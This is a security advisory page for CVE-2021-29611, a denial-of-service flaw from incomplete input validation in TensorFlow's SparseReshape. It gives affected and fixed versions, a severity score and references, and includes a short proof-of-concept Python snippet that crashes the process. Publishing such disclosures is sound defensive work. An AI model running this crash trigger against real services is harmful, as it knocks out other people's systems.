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CVE-2021-29611: Incomplete validation in `SparseReshape`

May 21, 2021 (updated November 13, 2024)

Incomplete validation in SparseReshape results in a denial of service based on a CHECK-failure.

import tensorflow as tf

input_indices = tf.constant(41, shape=[1, 1], dtype=tf.int64)
input_shape = tf.zeros([11], dtype=tf.int64)
new_shape = tf.zeros([1], dtype=tf.int64)

tf.raw_ops.SparseReshape(input_indices=input_indices,
input_shape=input_shape,
new_shape=new_shape)

References

  • github.com/advisories/GHSA-9rpc-5v9q-5r7f
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-539.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-737.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-248.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/commit/1d04d7d93f4ed3854abf75d6b712d72c3f70d6b6
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-9rpc-5v9q-5r7f
  • nvd.nist.gov/vuln/detail/CVE-2021-29611

Code Behaviors & Features

Detect and mitigate CVE-2021-29611 with GitLab Dependency Scanning

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Affected versions

All versions starting from 2.3.0 before 2.3.3, all versions starting from 2.4.0 before 2.4.2

Fixed versions

  • 2.3.3
  • 2.4.2

Solution

Upgrade to versions 2.3.3, 2.4.2 or above.

Impact 5.5 MEDIUM

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Learn more about CVSS

Weakness

  • CWE-20: Improper Input Validation
  • CWE-665: Improper Initialization

Source file

pypi/tensorflow-cpu/CVE-2021-29611.yml

Spotted a mistake? Edit the file on GitLab.

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